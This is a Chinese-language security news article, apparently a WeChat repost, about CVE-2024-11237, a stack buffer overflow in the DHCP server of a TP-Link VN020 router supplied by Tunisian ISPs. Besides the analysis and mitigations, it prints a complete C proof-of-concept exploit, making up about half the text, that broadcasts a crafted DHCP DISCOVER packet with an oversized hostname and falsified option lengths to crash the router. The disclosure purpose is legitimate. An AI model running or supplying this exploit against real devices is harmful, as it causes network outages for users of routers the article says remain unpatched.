TP-Link VN020-F3v(T)路由器固件版本为 TT_V6.2.1021,发现一个严重的安全漏洞,攻击者可以远程接管设备,导致 DoS 攻击甚至 RCE 攻击。
该漏洞被编号为CVE-2024-11237 ,允许攻击者通过发送特制的DHCP DISCOVER数据包来利用基于堆栈的缓冲区溢出 ,这可能导致路由器崩溃并无响应。
有进一步确认的报告显示阿尔及利亚和摩洛哥客户使用的版本也存在类似漏洞,突尼斯电信和 Topnet ISP 对部署受影响的路由器负有主要责任。
有问题的固件是专有的,因此无法获得内部实现细节。不过,通过观察行为和黑盒测试,安全研究人员已经能够识别出该漏洞的影响。
漏洞技术分析
该漏洞被标识为 CVE-2024-11237,是一个基于堆栈的缓冲区溢出 (CWE-121),可以通过 DHCP DISCOVER 数据包远程利用。
它会影响在 UDP 端口 67 上运行的 DHCP 服务器,并且无需身份验证即可利用。此漏洞的影响包括确认的拒绝服务 (DoS),并可能存在远程代码执行 (RCE)。攻击复杂度较低,使其成为攻击者破坏或控制受影响系统的可访问目标。
该漏洞源于路由器处理 DHCP 主机名和供应商特定选项的方式存在缺陷。具体而言,路由器无法正确处理过大或格式错误的输入,从而导致缓冲区溢出。
具体来说,攻击者可以发送一个包含过长主机名或操纵的供应商特定选项的特制 DHCP DISCOVER 数据包,直接触发溢出。
研究人员已经确定了几种潜在的攻击媒介和触发溢出的方法。
攻击者可以通过各种技术利用路由器 DHCP 处理中的漏洞。一种方法是发送带有过长主机名(超过 127 个字符)的 DHCP 请求,这可能导致缓冲区溢出。此溢出可能会覆盖关键内存位置,从而可能导致设备崩溃。
另一种技术针对 DHCP 数据包中供应商特定选项的操纵。通过精心设计这些选项并造成选项数据声称的长度与实际长度不匹配,攻击者可以利用此漏洞破坏路由器的运行。
此外,还可以利用声称的数据包长度与实际数据包长度之间的差异,导致内存损坏并进一步破坏设备稳定性。这些方法凸显了 PoC 中 DHCP 处理中未修补漏洞的潜在风险。
潜在的内存损坏
尽管内部固件代码仍然无法访问,但观察到的症状表明路由器的内存可能在攻击期间被破坏,从而导致堆栈溢出。
Stack Layout (Normal Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Return Address (4) |
+------------------------+
| Saved EBP (4) |
+------------------------+
| |
| Hostname Buffer |
| (64 bytes) |
| |
+------------------------+ Lower addresses
| Other Variables |
+------------------------+
这可能允许攻击者覆盖路由器的返回地址和其他关键内存位置,从而导致不稳定甚至允许远程代码执行。
Stack Layout (Overflow Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Overwritten Return |
+------------------------+
| Overwritten EBP | <- Unknown state corruption
+------------------------+
| Overflow Data | <- 127 bytes of 'A'
| ... |
+------------------------+ Lower addresses
| Other Variables | <- Potentially corrupted
+------------------------+
利用这些漏洞可能会对网络功能造成严重影响。一旦受到攻击,路由器可能会失去响应,导致互联网连接完全中断。
依赖路由器的 DHCP 服务获取 IP 地址的设备可能无法连接到网络,从而进一步加剧中断。
在许多情况下,路由器在崩溃后会尝试自动重新启动;但是,仍可能需要手动干预才能恢复功能。
这可能会导致网络停机时间延长,尤其是在多个设备依赖路由器的 DHCP 服务的环境中,从而导致广泛的用户不便。
缓解措施和建议
目前,TP-Link尚未发布官方补丁修复该漏洞,在此期间,建议用户采取以下缓解措施降低漏洞利用风险:
- 禁用 DHCP 服务器:如果不需要 DHCP 服务,用户可以在路由器设置中禁用它,以防止攻击。
- 实施 DHCP 流量过滤:网络管理员可以在网络边缘过滤 DHCP 流量以阻止恶意数据包。
- 考虑替代路由器:如果可能,请考虑切换到不受此漏洞影响的替代路由器型号。
PoC:
/* * TP-Link Router VN020 FVT DHCP Memory Corruption POC * =================================================== * Author: Mohamed Maatallah (Alias: Zeph) * Target: TP-Link Router Firmware TT_V6.2.1021 * Type: DHCP Memory Corruption via Malformed Options * * Technical Details: * ----------------- * - Triggers multiple memory corruption vectors in DHCP parsing * - Primary vector: Stack overflow via oversized hostname (127 bytes) * - Secondary vector: Parser confusion via malformed length fields * - Tertiary vector: Vendor specific option parsing edge case * * Attack Surface: * -------------- * - DHCP service running on port 67 * - Processes broadcast DISCOVER packets * - No authentication required * - Affects all routers running VN020 F3v(t) specifically the ones * supplied by Tunisie Telecom & Topnet * * Exploitation Method: * ------------------ * 1. Sends crafted DHCP DISCOVER packet * 2. Overflows hostname buffer (64 -> 127 bytes) * 3. Corrupts length fields in DHCP options * 4. Success = No response (service crash) * * Build: * ------ * Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly. * * Usage: * ------ * tplink_dhcp.exe * * Notes: * ------ * - POC triggers DOS condition * - Success indicated by router not responding * - May require multiple attempts * - Router requires hard reset after successful crash * * THIS IS A PROOF OF CONCEPT FOR RESEARCH PURPOSES ONLY * =================================================== */ // Disable deprecation warnings for older Winsock functions #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") // Standard DHCP ports - Server listens on 67, clients send from 68 #define DHCP_SERVER_PORT 67 #define DHCP_CLIENT_PORT 68 #define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet #define MAX_ATTEMPTS 3 // Forward declarations of functions void create_dhcp_discover_packet(unsigned char* packet, int* packet_length); void add_option(unsigned char* packet, int* offset, unsigned char option, unsigned char length, unsigned char* data); void tp_link(unsigned char* packet, int* offset); void print_packet_hex(unsigned char* packet, int length); int wait_for_response(SOCKET sock, int timeout); int main() { WSADATA wsa; SOCKET sock; struct sockaddr_in dest; unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet int packet_length = 0; // Length of constructed packet int attempts = 0; // Counter for send attempts int success = 0; printf("[TP-Thumper] Initializing Winsock...\n"); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("[TP-Thumper] Winsock initialization failed. Error: %d\n", WSAGetLastError()); return 1; } sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock == INVALID_SOCKET) { printf("[TP-Thumper] Could not create socket. Error: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // Set up broadcast address (255.255.255.255) dest.sin_family = AF_INET; dest.sin_port = htons(DHCP_SERVER_PORT); dest.sin_addr.s_addr = inet_addr("255.255.255.255"); // Enable broadcast mode on socket BOOL broadcast = TRUE; if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast, sizeof(broadcast)) < 0) { printf("[TP-Thumper] Broadcast mode failed.\n"); closesocket(sock); WSACleanup(); return 1; } srand((unsigned int)time(NULL)); // Create the DHCP DISCOVER packet create_dhcp_discover_packet(packet, &packet_length); // Main attempt loop - tries to send packet MAX_ATTEMPTS times while (attempts < MAX_ATTEMPTS && !success) { printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n", attempts + 1, MAX_ATTEMPTS); print_packet_hex(packet, packet_length); //debug // Send the packet if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError()); } else { printf("[TP-Thumper] Packet sent. Waiting for router response...\n"); if (wait_for_response(sock, 10)) { printf( "[TP-Thumper] Router responded! Exploit may not have succeeded.\n"); success = 1; } else { printf("[TP-Thumper] No response received within timeout.\n"); } } attempts++; } if (!success) { printf( "[TP-Thumper] Exploit succeeded: No router response after %d " "attempts.\n", MAX_ATTEMPTS); } else { printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n"); } // Cleanup closesocket(sock); WSACleanup(); return 0; } /* * DHCP Message Format: * [0x00]: op = 0x01 ; BOOTREQUEST * [0x01]: htype = 0x01 ; Ethernet * [0x02]: hlen = 0x06 ; MAC addr len * [0x03]: hops = 0x00 ; No relay * [0x04-0x07]: xid ; Random transaction ID * [0x08-0x0F]: secs + flags ; Broadcast flags set * [0x10-0x1F]: ciaddr + yiaddr ; Empty * [0x20-0x27]: siaddr + giaddr ; Empty * [0x28-0x2D]: chaddr ; Crafted MAC */ void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) { memset(packet, 0, MAX_PACKET_SIZE); int offset = 0; // DHCP Header - Standard fields packet[offset++] = 0x01; // BOOTREQUEST packet[offset++] = 0x01; // Ethernet packet[offset++] = 0x06; // MAC len packet[offset++] = 0x00; // No hops // ; XID - rand() used for bypass of response filtering // ; mov eax, rand() // ; mov [packet + 4], eax unsigned int xid = (unsigned int)rand(); *((unsigned int*)&packet[offset]) = htonl(xid); offset += 4; // ; Flags - Set broadcast bit to force response // ; mov word [packet + 8], 0x0000 ; secs elapsed // ; mov word [packet + 10], 0x8000 ; broadcast flag packet[offset++] = 0x00; packet[offset++] = 0x00; packet[offset++] = 0x80; packet[offset++] = 0x00; // Zero IP fields - forces DHCP server parse memset(&packet[offset], 0, 16); offset += 16; // ; Crafted MAC - DE:AD:BE:EF:00:01 // ; Used for unique client tracking, bypasses MAC filters packet[offset++] = 0xDE; packet[offset++] = 0xAD; packet[offset++] = 0xBE; packet[offset++] = 0xEF; packet[offset++] = 0x00; packet[offset++] = 0x01; memset(&packet[offset], 0x00, 10); offset += 10; // ; Skip server name/boot filename // ; Total padding: 192 bytes memset(&packet[offset], 0x00, 64); offset += 64; memset(&packet[offset], 0x00, 128); offset += 128; // ; DHCP Magic Cookie // ; 0x63825363 = DHCP in natural order packet[offset++] = 0x63; packet[offset++] = 0x82; packet[offset++] = 0x53; packet[offset++] = 0x63; // ; Stack layout after this point: // ; [ebp+0] = DHCP header // ; [ebp+240] = DHCP options start // ; Router parses sequentially from this point add_option(packet, &offset, 0x35, 0x01, (unsigned char[]) { 0x01 }); add_option(packet, &offset, 0x37, 4, (unsigned char[]) { 0x01, 0x03, 0x06, 0x0F }); // ; Trigger overflow conditions tp_link(packet, &offset); packet[offset++] = 0xFF; // End option *packet_length = offset; } void tp_link(unsigned char* packet, int* offset) { // ; Vendor specific overflow - triggers parser state confusion // ; 0x00,0x14,0x22 = TP-Link vendor prefix // ; Following 0xFF bytes cause length validation bypass unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF }; add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific); // ; Stack buffer overflow via hostname // ; Router allocates 64-byte buffer but we send 127 // ; Overwrites adjacent stack frame unsigned char long_hostname[128]; memset(long_hostname, 'A', sizeof(long_hostname) - 1); long_hostname[127] = '\0'; add_option(packet, offset, 0x0C, 127, long_hostname); // ; Length field exploit // ; Claims 255 bytes but only sends 1 // ; Router assumes full length during memory operations // ; leads to read/write past buffer add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 }); } // ; Helper for DHCP option construction // ; option = option code // ; length = claimed length (can be falsified) // ; data = actual payload void add_option(unsigned char* packet, int* offset, unsigned char option, unsigned char length, unsigned char* data) { packet[(*offset)++] = option; // Option type packet[(*offset)++] = length; // Claimed length memcpy(&packet[*offset], data, length); *offset += length; } // Debug void print_packet_hex(unsigned char* packet, int length) { printf("[TP-Thumper] Packet Hex Dump:\n"); // Print header fields with labels printf("Opcode (op): %02X\n", packet[0]); printf("Hardware Type (htype): %02X\n", packet[1]); printf("Hardware Address Length (hlen): %02X\n", packet[2]); printf("Hops: %02X\n", packet[3]); // Transaction ID printf("Transaction ID (xid): "); for (int i = 4; i < 8; i++) { printf("%02X ", packet[i]); } printf("\n"); // Flags printf("Flags: "); for (int i = 10; i < 12; i++) { printf("%02X ", packet[i]); } printf("\n"); // Client Hardware Address (MAC) printf("Client Hardware Address (chaddr): "); for (int i = 28; i < 34; i++) { printf("%02X ", packet[i]); } printf("\n"); // DHCP Magic Cookie printf("Magic Cookie: "); for (int i = 236; i < 240; i++) { printf("%02X ", packet[i]); } printf("\n"); // DHCP Options printf("DHCP Options:\n"); int i = 240; while (i < length) { printf(" Option: %02X, Length: %02X, Data: ", packet[i], packet[i + 1]); int option_length = packet[i + 1]; for (int j = 0; j < option_length; j++) { printf("%02X ", packet[i + 2 + j]); } printf("\n"); i += 2 + option_length; if (packet[i] == 0xFF) { printf(" End of Options\n"); break; } } } // Wait for router response with timeout int wait_for_response(SOCKET sock, int timeout) { struct timeval tv; tv.tv_sec = timeout; tv.tv_usec = 0; // Set up file descriptor set for select() fd_set readfds; FD_ZERO(&readfds); FD_SET(sock, &readfds); // Wait for data or timeout int result = select(0, &readfds, NULL, NULL, &tv); return result > 0; // Returns true if data available }
https://github.com/Zephkek/TP-Thumper
原文始发于微信公众号(独眼情报):【poc】TP-Link 中的 DHCP 漏洞可让攻击者远程接管路由器 - PoC 发布
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论